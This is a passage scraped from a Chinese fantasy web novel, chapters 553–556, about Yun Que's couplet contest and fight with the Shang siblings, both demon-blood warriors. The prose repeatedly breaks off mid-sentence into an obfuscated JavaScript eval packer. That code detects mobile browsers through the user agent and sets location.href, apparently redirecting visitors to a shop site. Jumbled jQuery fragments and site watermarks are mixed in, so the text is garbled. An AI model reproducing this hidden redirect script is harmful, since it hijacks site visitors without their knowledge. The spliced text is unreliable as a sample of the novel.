l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13156930|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光即将说出口的话又咽了下去。 商福伸出双手将圆桌抬了起来。 “喝!” 冷喝间商福的双臂之间涌现出狂暴的气机。 这股气机形成圆环形态将酒桌与桌面上的饭菜尽数碾压成齑粉! 桌子消失包间里宽敞起来形成了一处 困兽之地。 云缺缓缓起身稳稳当当站在原地背着双手看不出要与人动手反而像是街边遛弯的轻松表情。 商暮双眼微眯死死盯着云缺并未因为对方的轻松姿态而生出丝毫大意。 她的左脚缓缓踏出身形微微下蹲左拳在前右拳在后摆出了搏杀的姿态。 很标准的武夫战斗状态。 不过下一刻商暮的双拳忽然分开 犹如一只猛虎即将扑杀猎物。 “猛虎式不错看来商家妹妹修炼的是爪功。” 云缺背着手点评道:“爪如虎目如鹰脚如老树盘根起手式其实很有学问行家之间即可看出深浅你的根基十分扎实倒是难得。” 商暮冷声道:“分胜负即可何须废话!接招!” 说罢就要攻出。 “等等。” 云缺喊停了对方道:“比斗分文斗武斗我又没说用武斗解决问题我最近身体不适不适合动拳脚萍山君的归属我们以文斗来定胜负。” 商暮皱起眉道:“文斗?你想怎么斗。” 云缺在心里叹了口气看来之前高估这个商暮了比他哥哥的心智的确高一些但也没高多少。 这么明显的坑你还真跳啊。 云缺背着手道: “我出一个上联只要你们能对出合适的下联就算你们赢对不出来你们认输。” 商福疑惑道:“对联?这也能比斗?” 商暮则生怕云缺反悔一般立刻答应道:“好!文斗就文斗你出上联!” 见妹妹应战商福瞥着云缺道: “斗什么不好非得斗文采呵呵!云缺啊云缺你可知我家妹子三岁能作诗四岁能作对天生的文采斐然被誉为神童!十岁之前总共有五位先生被我家妹子辩得掩面而去自愧不如从此不再教书跟我妹子比文采你输得更快!” 这次商暮没有阻止她哥哥多嘴虽然表情淡然但神态间有一股难以掩饰的傲气。 商暮确实有文采熟读儒家书籍若非最先选了道家与武道双修她能轻而易举修至六品儒家。 即便现在道武双修商暮仍旧钻研儒家想要达成一个壮举。 道、武、儒三修! 商福对他妹子的文采有着绝对的信心而商暮自己也信心十足文斗而已她丝毫不惧。 见对方应战云缺哈哈一笑。 你天生文采斐然是神童老子识海里天生有一座文殿! 比武道比云缺厉害的人数不胜数。 但是比文采即便天下大儒齐聚也得输得屁滚尿流。 在文采这方面云缺看似一个人其实人家扛着圣人呢谁找云缺文斗那是纯纯的找死。 “商家妹子果然痛快!你且听好我这上联可不简单对不出来你可别哭。” 云缺笑着道出了一个无比奇葩的上联听得商家兄妹瞠目结舌。 第553章 先找到谁就嫁给谁 商福瞪着眼睛,好半晌才反应过来,重复道: “唧唧叨叨捅捅哒?你这什么玩意!又是唧唧又是叨叨的,这是对联吗!” 商暮则紧锁秀眉,沉吟道: “你把上联,再重新说一遍。” 云缺笑了笑,拿出纸笔道: “说了你也未必能听懂,还是写出来为好。” 说罢写出了七个字。 商暮望着字迹,眉峰锁得更深,低语道: “饥鸡盗稻童筒打……饥饿的母鸡盗吃稻谷被孩童以竹筒敲打……” 如此奇葩的上联,彻底将商暮难住了,即便她自小以才女而自居,一时也对不出下联来。 商福看到字迹才恍然大悟,他虽然脑子没有商暮灵光,但想到了这幅上联所暗指的弦外之音。 “饥鸡盗稻童筒打……你骂我们是饿鸡!盗了你的老虎,你要敲打我们!” 商福气得咬牙切齿。 此等上联,分明是在指桑骂槐,骂他们兄妹是一对老母鸡,而且还是找打的老母鸡。 商暮也面带怒意,却干瞪眼没辙。 简单的七个字,却组成了极其高明的上联,‘饥鸡’是同音字,‘盗稻’是同音字,‘童筒’仍是同音只是不同音调,唯独最后的‘打’是单独的字。 但最后的打字却有着点睛之妙,一个字,串联起一幅农家院里顽童拿着竹筒追打母鸡的田园画面。 更加绝妙的是,人家云缺借此上联在暗讽他们兄妹偷东西,与那偷吃稻谷的母鸡一样找打。 商暮是有学问的。 所以她比商福更能体会到这幅上联的精妙之处,绞尽脑汁也想不出合适的下联来。 见商暮半晌无语,商福惊疑起来,小声问道: “妹子,他这上联不好对吗?” 商暮神色凝重的点了点头。 商福想了想,大声道: “我来对下联!你听好了!饥鸡盗稻童筒打,我对恶狗偷食腿打折!” 啪,啪。 云缺抚掌而笑,道: “对得不错,商兄好文采!” 商福还以为自己真的对得不错,哈哈笑道: “小菜一碟!文斗结束,云缺,你可以让开了,今后咱们还是朋友!一头 虎妖而已你犯不着保它妖族向来冷血留着萍山君在身边早晚会反噬不如交给我们处理。” 云缺面带好奇的道: “商兄看来对妖族很了解不知你要如何处理萍山君呢。” 商福张嘴道:“当然是将它炼制成……” “哥!”商暮忽然一声冷喝。 商福话说半截立刻惊醒过来把后半句咽了下去。 商暮谨慎因为道武双修又从小博学但商福是个纯粹的武夫套起话来就容易得多。 云缺心头微动。 炼制萍山君? 炼妖的说法十分罕见。 妖族身上有很多材料比如筋骨兽皮妖血与爪牙但这些东西都需要杀掉妖兽才能获取。 以商福的说法他好像要将萍山君完整的祭炼。 炼制一整头妖兽究竟目的何在? 云缺对商家兄妹抓走萍山君的真实目的愈发好奇起来。 其实炼制整头妖兽云缺并不陌生。 因为斩妖司的妖武者的形成就是炼制融合了整头妖物。 商福知道差点说漏嘴对云缺提防了起来道: “你小子不地道!话里有话的你这种朋友不交也罢!我们走了!” 说完见云缺笑呵呵的仍旧坐在门口。 “让路啊我都对完了对联你怎么还挡路?”商福不解道。 “哥别丢人了你对的下联狗屁不通。”商暮皱眉道。 “啊?是吗!” 商福愣了愣怒视着云缺道:“你小子不仅不地道还够坏的啊!我对的狗屁不通 “商兄说对了我就是在耍你。” 云缺微笑道:“不服气你可以再对下联啊对得出来萍山君归你一百万两银票也归你不着急你可以慢慢想少年擂结束之前能对得上来就行。” “我对……我对个屁呀!”商福怒气冲冲的道:“我是武夫!不是书生!” “对不出来就多看点书跟你妹子学学以咱们妹子的学识只要时间足够肯定对得出来。”云缺微笑道。 “少套近乎!我妹子什么咱们妹子!”商福冷哼一声看向商暮道:“妹子 ,我看这家伙在拖延时间,咱们不文斗了,直接动手!” 商暮的神色变得犹豫起来,看样子要点头答应。 云缺立刻道: “别这么快放弃,其实这幅上联不难的,好好想想,只要天亮之前对得出来,你们就可以顺利离开,我绝不为难二位。” 商暮听罢迟疑了一下,道: “好!容我多想想。” 说完坐了下来,盯着字迹开始冥思苦想。 身为才女,岂能轻易认输,商暮被激发了斗志,暗暗发狠要对出下联。 见妹子不肯放弃,商福只好坐在一旁等着,显得很是无聊。 屋子里安静下来,没人在开口。 云缺坐在门口,闭目养神。 看似悠哉,其实云缺正在竭尽全力炼化着尚未完全吸收的雷精。 之所以提出文斗,云缺确实在拖延时间。 因为对面的这对兄妹,在云缺看来,绝对不简单! 尽管没动手,但萍山君有多少能耐,云缺一清二楚。 萍山君早在雪域之时就突破到六阶境界,并且觉醒了上古风雷虎的血脉,不仅能动用雷翅飞翔,甚至能驾驭威力不俗的雷电之力。 云缺离开大晋已经小半年了,这段期间,萍山君足以完全掌握风雷虎血脉所带来的天赋能力。 也就是说,在六阶妖兽当中,萍山君的战力足以傲视同阶! 而商福与商暮,也不过是六品修为而已,却能在盏茶的时间内,在不惊动酒楼其他人的情况下,轻而易举的抓获萍山君。 单凭着这一点就足够说明,商家兄妹有着远超六品境界的手段,或者是掌握着威能恐怖的异宝。 真要对战,必定棘手,所以能拖多久是多久。 只要多炼化一些雷精,云缺的战力就会变得更强。 其实云缺也挺无奈。 如果是平常的时候,根本用不着动用心机诓骗对方来一场文斗,直接动手即可。 以云缺的战力,对付两个五品都毫无问题,何况两个六品。 即便对方有着强力的后手,云缺也不惧,妖刀一出,即可大杀四方,实在不行直接动用妖力就是了。 可现在不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174856|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 如今云缺的状态,正处于完美金身 的节骨眼儿。 不能动用任何外物与外力,只能靠着自身本体才有机会达成完美。 偏巧赶上少年擂也就罢了,结果还节外生枝,遇到商家兄妹,真要动手对战两人,一旦对方拿出云缺无法匹敌的异宝或者力量,不仅萍山君救不回来,完美金身也得失之交臂。 云缺心里有苦说不出,只能暗骂萍山君这个累赘,到了大秦什么忙没帮上不说,先把他自己搭进去了,简直是个饭桶老虎。 云缺抓紧着一切时间,吸收炼化剩余的雷精之力。 商暮则冥思苦想,时而叹气,时而敲额头,时而又在屋子里来回踱步,显得焦躁不安。 时间一点点流逝。 擂台上的第三轮比斗仍旧在持续。 精彩的程度远超之前,所有人都被擂台的打斗所吸引,唯独四个人对擂台毫无兴趣,各忙各的。 其中三人都在楼船的包间里,云缺在炼化雷精,商暮在苦想着下联,商福无聊的直打瞌睡。 而第四个人则在楼船上,挨个包间敲门询问。 咚咚咚。 “请问,这里有和尚吗? “和尚?找错地方了,我们这里没有和尚。 “对不起,打扰了。 咚咚咚。 “请问,里面有和尚吗? “你谁呀!我们喝酒呢,哪有和尚!别处找去! “对不起,打扰了。 咚咚咚。 “请问,我想找个小和尚…… “酒楼里找什么和尚!这里又不是庙!睡觉呢敲什么门!再敲揍你! “对不起,对不起…… 柳真真站在长廊上,望着一排排的包间门,不由得叹了口气,心里不是滋味。 堂堂少年城的城主,何时受过如此恶气,如同要饭花子似的,挨个敲门,还得被包间里的人数落。 可是一想起妖兽攻城当天,那个救了自己两次的小和尚,柳真真立刻鼓起勇气,继续敲门找和尚。 不久前柳真真在擂台上,隐约看到了一个光头背影。 当时她正与其他少年城的高手谈论着擂台事宜,收集一些外来高手的资料,做到心中有数。 看到光头只是一瞥之间,等柳真真仔细看去人家已经下台了。 柳真真尽管没看到正脸,但是从光头和背影判断,与兽潮当晚的小和尚很相似。 这下柳真真没心思谈论擂台了,心里始终想着那个小和尚,分派少年城的人手开始寻找和尚。 找了半天,得到个消息。 有人见到一个光头在楼船出现过,只是没看到容貌,不知年纪如何,也不知是不是和尚。 柳真真于是亲自来到楼船,开始挨个包间的找人。 现如今的柳真真,其实心情极其复杂。 她一方面想要与医术不错的小郎中梅钱成亲,一方面又对当时救她的小和尚心生爱慕,觉得两个都是她的真命天子,可她只有一个人,总不能嫁给两个人。 要是有个妹妹就好了,一人嫁一个…… 柳真真在心里如此想着,随后晃了晃脑袋,咬牙道: “不管了,先找到谁就嫁给谁! 咚咚咚。 “打扰了,请问屋子里有没有和尚? 第554章 再遇妖武 一天一夜的比斗,少年擂变得越发热闹。 随着打斗的进行,受伤的修士越来越多,于是一个特殊行当渐渐兴起,那就是药铺。 一些会医术的修行者看出了商机,原地开设药铺,售卖伤药外加疗伤,生意居然还不错。 不仅开药铺的,连早点铺子都有不少,还有些心思活络的修士,用飞行法器搭建起浮空的帐篷,收费入住,按时辰算钱,休息或者观战均可,一个时辰一百两银子,减去灵石耗费,足以小赚一笔。 天边已经泛白,少年擂正式进入第二天。 楼船包间内, 商暮的表情痛苦不堪,始终想不出下联,被她薅掉的头发在桌上堆成一团又一团。 商福则趴在桌上鼾声如雷。 直至天边出现一缕曙光,商暮才恍然惊醒,怒道: “我对不出来!不文斗了,改为武斗!” 白想了半宿,除了头发差点少一半之外,商暮连一幅下联都没想出来。 商福被惊醒,道:“换武斗了?我来!” “用不着你!我来战他!”商暮气得怒不可赦,道:“我真笨!钻什么牛角尖,平白浪费时间!” 云缺睁开眼,好整以暇的道: “急什么,再多想想,我觉得你就快对出来了。” “我不想了!我想不出来!”商暮怒道。 “既然想不出来,你就输了,何来武斗之说,把萍山君交出来。”云缺道。 “这局不算!武夫之间就该以战力分胜负,文斗不算数!”商暮直接开始耍赖。 “你们怎能如此失信,之前不是说得好好的,文斗定胜负,小孩子才耍赖皮,二位莫非不要名声了?”云缺道。 “要什么名声!我们连脸都可以不要!”商福横眉立目的道:“不敢武斗你就让开,要不然我们兄妹一起出手对付你!” “行,武斗就武斗。”云缺微笑道:“你们选出一人,谁来比试。” 与其被两人围攻,单挑才是最佳选择,云缺自然不会吃亏。 商暮沉着脸道:“我与你过招!” 云缺点头道:“这次,你该说话算话了吧,不许耍赖呦。” “一言为定!谁耍赖谁天打雷劈!”商暮沉声道。 “比斗之前,最好定下规则,为了不伤和气,咱们不用武器,只动拳脚,商家妹子觉得如何。云缺道。 “可以!不过我有个条件。商暮道。 见对方中计,云缺心头暗喜,自己不能动用武器,对方若是也不用武器,相当于变相削弱了商暮的战力。 “你说,什么条件。云缺道。 “既然刚才你出的上联,我想听你对出下联,如果你对得出来,我可以不用武器,只比拳脚。商暮沉着脸道:“若你对不出来,我不仅动用武器,还会动用你无法想象的力量! “这个简单,听好了。 云缺清了清嗓子,道:“饥鸡盗稻童筒打,暑鼠凉梁客咳惊。 商暮愣怔在原地,呢喃道: “酷夏里的老鼠在房梁上乘凉时,被客人的咳嗽声惊跑……妙啊!对的真好,我怎么想不到呢…… 见妹子沉浸在对联的玄妙当中,商福不耐烦的道: “什么破对联!妹子别跟他废话了,让他知道知道我们的厉害! 商暮闻言立刻恢复了冷冽的表情,再次摆出起手式,双手成爪,冷喝道: “云缺,你若能战败我,萍山君自然归还,不过我提醒你一点,想要胜我,你没什么机会。 云缺知道拖不下去了,道: “我也提醒你一点,饿肚子打斗,对武夫身体不好,要不,咱们再要一桌饭菜,吃完再比? “免了!现在就动手!商暮喝道。 “好好好,你们不吃,我先吃点,要不然饿得慌,稍等一会儿啊。 云缺说着拿出两个果子,一青一红,开始吃了起来。 商福与商暮看得眼睛发直。 说好了武斗,拼命的时候,你在这吃果子? 两人强压怒火,看着云缺吃。 不多时,云缺吃完了,抹了抹嘴角,也抬手亮出招式。 半宿的炼化雷精,加上两枚果子入腹,云缺的实力再次得到提升。 由于吃了树公公树婆婆不少果子,现在云缺的经脉已经扩展了接近五成。 也就是说,云缺所能施展出的气机,比之前多了足足一半! 暴增一半的气机,相当于多出一半战力,已经足够令人震惊 。 随着商暮的一声断喝,武斗随之开始。 云缺用的是七杀拳法,配合赤炎拳,每一拳都带着霍霍风声,气势十足。 商暮的爪功堪称凌厉,其身形极其敏锐,宛如一只豹子般迅猛,战力惊人。 两人一动手,便是旗鼓相当的局面。 屋子里只剩下拳脚带起的破风声。 交手之后,商暮暗暗心惊。 她的爪功极其罕见,配合敏锐的身法,可以说攻无不克,同阶之间向来没有对手。 可今天的对手居然无比难缠,不仅拳法扎实,经验还无比充足,商暮本想着以快攻打乱对手的招式,让云缺现出破绽,然后她可以趁机一击重创,达到快速结束战斗的效果。 结果人家的拳法不仅能封住她所有的进攻路线,反而还有时间做出凌厉的反击。 这一点让商暮十分惊讶。 于是她加快进攻频率,除了爪功之外,用上了身法,身形掠动间快若旋风,令人防不胜防。 云缺始终在稳扎稳打,并未用出全力,试探着对方的身手。 很快,云缺得出一个判断。 这个商暮,有着极其丰富的战斗经验! 身为猎妖人,对手的经验如何,只要动手,云缺即可轻易分辨。 一个二十来岁的女孩子,还是道武双修,按理说不该经常搏杀才对,但这个商暮显然与众不同。 见对方动用了身法,越攻越猛,云缺也施展出绝学。 直接用出影拳! 云缺处于完美金身的临界点,只要动手,就必须获胜,一旦败北,便会彻底失去完美金身的契机。 影拳的出手,让商暮防不胜防。 云缺左手赤炎拳,吸引了对方的注意力,右手直接轰向地面,打在商暮影子的腹部。 嘭!!! 商暮挡住了赤炎拳,整个人却倒飞起来,轰隆一声砸在墙壁上。 水晶般的壁垒被砸出一层波纹。 商暮落地后弯着腰,嘴角溢出血迹。 云缺这一拳,动用了全力。 至于怜香惜玉,在云缺这里是不存在的,尤其在战斗的时刻,无论对手是谁,云缺都会将其当做妖来处理。 否则,死的就是自己。 “隔空拳法!” 商暮愤愤的抹去血迹,冷声道:“看来你比我想象的还要难缠,既然你有所保留,不如拿出全部实力,否则,你将再无机会!” 说着,商暮伸直了五指,掐动起法印,道家灵气豁然大起! 随着商暮的施法,在她身前出现十枚拳头大的火球,虽然火球不大, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174857|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但火光耀眼。 这些火球完全由法术凝聚而成,有着不俗的威能。 云缺目光微凝,脚下气机汇聚。 商暮是个难缠的对手,不仅有着六品巅峰程度的宗师修为,还有着筑基境的道门修为,在战斗中可以互相配合,达到战力暴增的效果。 云缺现在没穿金玉甲,肉身虽然强横堪比四阶妖兽,但是血肉之躯,面对法术还是得小心一二。 烧点血肉无所谓,一旦烧到了眼睛耳朵之类,影响了视觉听觉,战力将大打折扣。 本以为对方要用火球配合武道进攻,结果商暮忽然一抬手。 十枚火球纷纷飞到棚顶,环绕成一圈。 看到火球定在头顶,云缺立刻意识到了什么,低头一看。 果然地面上商暮的影子几乎消失! 有光的地方才有影子。 四面八方如果全都有光,影子将无所遁形,只会留下最后一点在商暮脚下。 云缺的目光有些发沉。 善战的对手不算什么,云缺的战斗经验可以说从小一直打到大的。 然而善战的对手,加上高明的心智,才是真正的难缠! 这个商暮,确实很聪明。 挨了一拳就想出了对策。 现在人家的影子只剩一丁点,又在脚下,云缺施展出的影拳,很难再奏效。 瞄了眼头顶的一圈火球,云缺打算先摧毁这些光源。 小说的域名qiexs.com?(请来企鹅 小说 看最新章节 完整章节) 商暮看到云缺的动作,立刻做出应对,双手成爪,落在地面,整个人如同野兽般趴伏。 “狼行之法!” 低吼中,商暮猛然冲出,速度比之前快出一倍! 除了爪功之外,商暮还动用了腿法,在身法的加持之下,宛如一匹恶狼,攻势凶猛。 云缺不再有所保留,影步随之动用,身体直接拉出残影。 屋子虽然不大,但打斗得无比惊险 。 商福站在墙角眼珠快速的左右晃动追逐着恶战的两人。 由于提前放置了水晶小塔此处包间完全与外界隔离屋子里拳拳到肉风火大起门外则毫无声息。 恶战持续了半炷香的时间。 商暮逐渐落在下风。 她的狼行之法的确速度惊人但是云缺的影步更快! 她的爪功与腿法相当凌厉但是云缺的拳劲则更强! 其实商暮最大的弱点是她的本体强度远远不及云缺可以说差了太多。 她一腿甩在云缺身上人家毫不在意根本不会受伤反而一拳轰来能将她打飞出两丈。 商暮甚至生出一种错觉。 自己面对的不是一名六品武夫而是一头恐怖的妖兽! 再打下去必败无疑! 甚至会被人家活活打死! 商暮身形掠动避开了一记赤炎拳倒退数步贴在墙角啐了口血沫子道: “不得不承认你与其他六品宗师大不相同你的战力几乎接近五品金身你很强但是你赢不了我!” 说话间商暮口中的小虎牙居然开始生长 她手上的指甲也开始延长形成真正的利爪! 一股阴冷的妖气在商暮身上开始起伏。 看到对方的变化云缺没有惧怕而是直接怔在原地。 此时云缺的心头只有三个字如同惊雷般浮现。 妖武者! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 第555章 睁开你的六只眼 自从大燕斩妖司消亡,云缺始终以为自己与叛徒柳十一是世上仅剩的妖武者。 柳十一死后,云缺就成了唯一的妖血武夫,是一种由大燕司天监打造出来的人形怪物。 而此时此刻,云缺居然遇到了同类! 世上,竟还有妖血武夫存在! 商暮身上的变化,明显是妖武者进行妖化的过程,借助妖物之力大幅提升自身战力。 随着商暮出现獠牙与利爪,她身上开始涌现出暗淡的妖气,并不明显,但极其精纯。 那利爪犹如匕首,锋芒闪烁。 妖气与人族气息融为一体,证明商暮并非化形的妖族,而是人类,只是身体被融合了妖物而已。 对于妖武者这种罕见的种类,没人比云缺还要了解,第一时间便判断出对方绝对是妖血武夫! 云缺一时间怔在原地,错愕不已。 见云缺不动,商暮看到了时机,低吼着扑出。 她此刻的速度比刚才要快出一倍还多,犹如一头妖狼,瞬间抵达云缺身旁,利爪直掏云缺的心窝。 这一招黑虎掏心,极其普通,没有任何花哨之处,完全是野兽般的进攻方式,速度与力量得到大幅提升,商暮有信心一招重创对方。 能让她现出如此状态,可见对手的难缠。 商暮也是没有办法,正常状态她绝非云缺的对手,只能动用最后的绝招。 而一旦这种状态显现出来,对手也就不可能还会活着。 云缺错愕归错愕,身体却在利爪攻到之前挪移而出,影步施展,避开了致命一击。 身为猎妖人,即便走神儿,也能在瞬间应对危险。 这是牢牢刻进了骨子里的战斗反应,绝非其他人可以比拟。 商暮见识过云缺的身法,知道云缺的速度极其惊人,一爪掏空之下,她甚至没用眼睛观察云缺躲避的方向,身形犹如狂风般扑向一侧,再次出爪。 妖兽般的敏锐感知,让商暮可以闭着眼睛感受到云缺的存在。 只要还在这间屋子里,无论云缺的身法多快,商暮都可以完成追踪。 随后的战斗,变得惊人起来。 屋子里仿佛刮起两道旋风,忽左忽右,忽上忽下。 云缺的身影出现在 角落,商暮的利爪紧随而至,云缺的身影跃到半空,商暮的獠牙瞬间咬来。 商福始终在观战。 但他现在有点看不清两人到底身在何处了,眼珠子不停的快速晃动,寻找着双方的身影。 当商暮展现出妖化状态,她立刻占据上风。 云缺只是施展身法躲避,没再还击。 如此一来,商暮的信心更是十足,认为自己必胜无疑,速度变得越来越快,出爪越来越凶。 直至商暮抓到了一团雷光,她才惊觉,原来对手不仅会动用火焰拳法、隔空拳法与惊人的身法,人家还会动用雷系掌法! 轰鸣声,伴着大片雷光炸起在屋子里。 突然出现的耀眼雷光,令旁边观战的商福猛地闭眼。 当他再次睁开眼,发现对战的两人,各自停留在房间一侧。 商暮身上流转着细密的雷弧,云缺则安然而立毫发无损。 “妹子! 商暮惊呼一声,看出自家妹子吃了亏,就要加入战斗一同对付云缺。 “我没事! 商暮怒喝一声,遍布周身的雷弧随之快速消散。 妖化后的躯体,让商暮得到了极强的肉身,挨了一记奔雷掌,本体虽然没怎么受伤,只是头发被电得根根直立,看起来像个疯婆子。 “火拳雷掌,身法过人。 商暮死死盯着云缺,冷声道:“你的战力相当可怕,我之前小看你了,寻常的五品金身也未必能赢你,但是遇到我,算你倒霉!你不可能胜我! 随着商暮的冷语,她的眼眸开始转为幽蓝之色,额头上浮现出一条蓝色印记。 印记宛如小蛇,组成了星芒的图案,并且沿着商暮的脸颊蔓延到下颚。 四根长须在商暮的嘴角生出,足有三寸长短。 那是狼须! 妖化再次加深,商暮的气息也再次增强,喉咙中发出野狼般的阵阵低吼。 见此模样,商福大惊道: “妹子!这里是少年城,不能完全妖化!否则我们容易成为目标!被无数人追杀!大不了萍山君还给他,我们再找其他合适的妖物就是了! “不用你管! 商暮低吼道:“觉醒上古风雷虎血脉的妖族太过 罕见好不容易遇到一只岂能放过!” 商福焦急道: “那也不能冒险啊!一旦完全妖化你会丧失神智少年城里高手众多哥哥保不住你啊!你若被当做妖物击杀我就算得到真正的风雷虎又能怎样!妹子住手吧!不能再打了!” 商暮不再开口对其兄长的劝说无动于衷盯着云缺准备发动攻势。 “你哥哥说得没错再打下去你会死。”云缺此时出言道。 “能得到萍山君这头难得的虎妖帮我哥哥重铸妖身我死而无憾!”商暮低吼着就要再度扑出。 云缺抬手止住对方解释道: “不你得不到萍山君你会白白死去 “就凭你一个人?”商暮冷声道:“你觉得以你的力量能斗得过四阶星狼吗!吼!!!” 商暮发出一声狼啸喷吐的气息当中带上了接近四阶的妖狼气息。 “我当然斗不过四阶妖狼不过我也有帮手。” 云缺淡然一笑双眼豁然转为猩红的竖瞳冷语道:“别以为只有你会妖化你应该很清楚妖血武夫若互相拼杀结局只能是不死不休!” 狂暴的妖气在云缺身上升腾而起瞬间笼罩整个屋子。 商福愣怔在原地眼里充满了惊骇之色商暮也怔住了没在进攻一双幽蓝的瞳孔开始晃动起来变得惊疑不定。 云缺只是散发出妖气并未拿出妖刀更没打算与对方拼个你死我活。 云缺其实是在赌。 赌对方不会再出手。 散发妖气可以但是动用妖力的话以云缺现如今的状态必定会失去完美金身的契机。 商暮错愕半晌道: “怎么会……你为何也有妖力存在?” 商福此时恍然大悟惊喜道: “妖武!原来他也是妖武者!与我们一样是大商遗民!” 云缺闻言心头一动。 大商遗民! 从商福的话语中云缺终于得知了这对兄妹的来历竟是大商之人! 大商曾经在云州也是一方霸主后来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186836|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被大秦所灭至今已有百年。 大商还有个名字叫做妖武大商! 据 说大商的武者从小饲养妖兽,同吃同住形影不离,在战斗中若身体受到损伤就借用妖物的躯体填补,最终形成半人半妖的妖武者。 妖武大商早已消失百余年,没想到如今还有大商遗民存在,云缺在惊讶之余,心里有一些遗憾。 商家兄妹与大燕司天监无关…… 确定云缺的妖气与妖瞳为真实存在之后,商福高兴起来,道: “大水冲了龙王庙!这下都住手吧!妹子快点散去妖气,云缺是自己人!” 云缺扫了眼商福。 心说你要是如此理解的话……那你说得对。 云缺现在可不想当真动用妖力动手,能吓唬住对方,或者骗过对方那最好不过。 商暮缓缓站起身,狼须与利爪渐渐消失,额头的印记也开始变淡,只是一双幽蓝的瞳孔始终存在,冷冷的盯着云缺,质问道: “你,到底是什么人。” 云缺将竖瞳消散,摊了摊手道:“与你们一样,失去国度的可怜人。” 云缺这话没说谎。 大燕早已覆灭,大家都是失去家国之人,至于失去的是什么国,重要么。 商福在旁边道: “妖武者只有我们大商才有,他肯定是大商遗民!” 商暮并不相信,道: “未必,妖武大商的确有着融合妖物的特殊手段,但世上高手众多,出现仿造的妖武者并不奇怪。” “仿造?” 云缺不高兴了,道:“你最好睁开你的六只眼仔细看清楚,我是实打实的妖血武夫,如假包换!” 商暮皱起眉头,道:“六只眼?我又不是怪物,何来的六只眼。” 云缺冷声一笑,道:“星狼的双眼,难道不属于你么,加上你自己的眼睛不就是四只眼了,剩下的两只眼,呵呵,你自己猜。” 商暮虽然聪明,一时却猜不到云缺所言的六只眼是何意,算上星狼,还差两只眼呢。 商福灵机一动,道: “我知道了!有个肚脐眼!还有个屁……” 最后一个字,商福硬生生给咽了下来,因为他发现自家妹子此时脸色发黑,出现再次妖化的征兆。 云缺道: “既然大家同为妖武者,互相残杀实属下策,不如这样,我们以萍山君为赌注,打一个赌,谁赢,萍山君归谁。” 商暮冷声道: “你想怎么赌。” 云缺道: “少年擂,谁获得的名次最高,萍山君归谁,你们兄妹都可参加,只要你们当中有一人名次比我高,萍山君你们自可带走,杀剐存留,悉听尊便。” 商暮思索了一下,道: “可以!就以少年擂名次来分出胜负!” 自从云缺展现出竖瞳与妖气,商暮其实已经不想再战了,妖武者之间一旦死斗,极有可能同归于尽。 换个办法来打赌,未尝不是更好的选择。 但是问题出现。 谁来做证呢? 萍山君放在商家兄妹手里,云缺不放心,放在云缺手里,商家兄妹更不放心。 咚咚咚! 为难之时,忽然传来敲门声。 第556章 穿帮大会 听见敲门声 小说更新,记住域名qiexs?(请来企鹅 小说 看最新章节 完整章节)商暮立刻收起水晶小塔。 屋子里恢复了原本的样子。 除了被商福砸碎的酒桌之外毫无打斗痕迹。 “谁?” 商福问了句。 门外传来女子客气的声音: “打扰一下我是少年城的城主柳真真我想找个人……” 之前正在为何人做证而为难双方谁都不肯让对方拿着萍山君如今一听少年城的城主在外面商福立刻有了主意。 少年城名动大秦需要公正之人才能担任城主这不是最佳证人么! 商福二话不说直接拉开房门。 而云缺此刻正伸出手嘴里的‘别开门’三个字没等说出来房门已经被打开。 门外果然站着柳真真。 柳真真敲了很多房门大概率敲完后会被骂一顿她委屈之余想到个办法。 那就是先报出自己的名号。 如此一来果然没人敢骂了一听是城主大多包间都会开门打招呼很多人热情邀请。 柳真真已经敲过了楼船的大半包间根本没有和尚。 她其实有些灰心觉得消息并不准确可能是看错了妖兽攻城当晚的小和尚没在楼船上。 等房门打开柳真真暗淡的目光瞬间明亮起来脸上充满惊喜。 “是你!原来那晚的人居然是你!” 柳真真看到了云缺也看到了云缺的光头。 此时此刻 少年城里略通医术的小郎中与兽潮当晚斩妖无数的小和尚彻底重叠。 对于柳真真来说见到云缺相当于双重惊喜。 她再也不用为了嫁给谁而为难因为两个身份是同一个人! 云缺此时有点尴尬。 神秘感彻底没了不说两个身份也穿帮了不仅如此兽潮当晚还调戏了一番柳真真。 “对是我!” 云缺将柳真真拉进屋子对着商家兄妹道:“正好城主到访为我们打赌做证的人选有了不知二位可有意见如果你们能找出更合适的人选也可以换人。” 柳真真听得莫名其妙什么做证什么打赌? 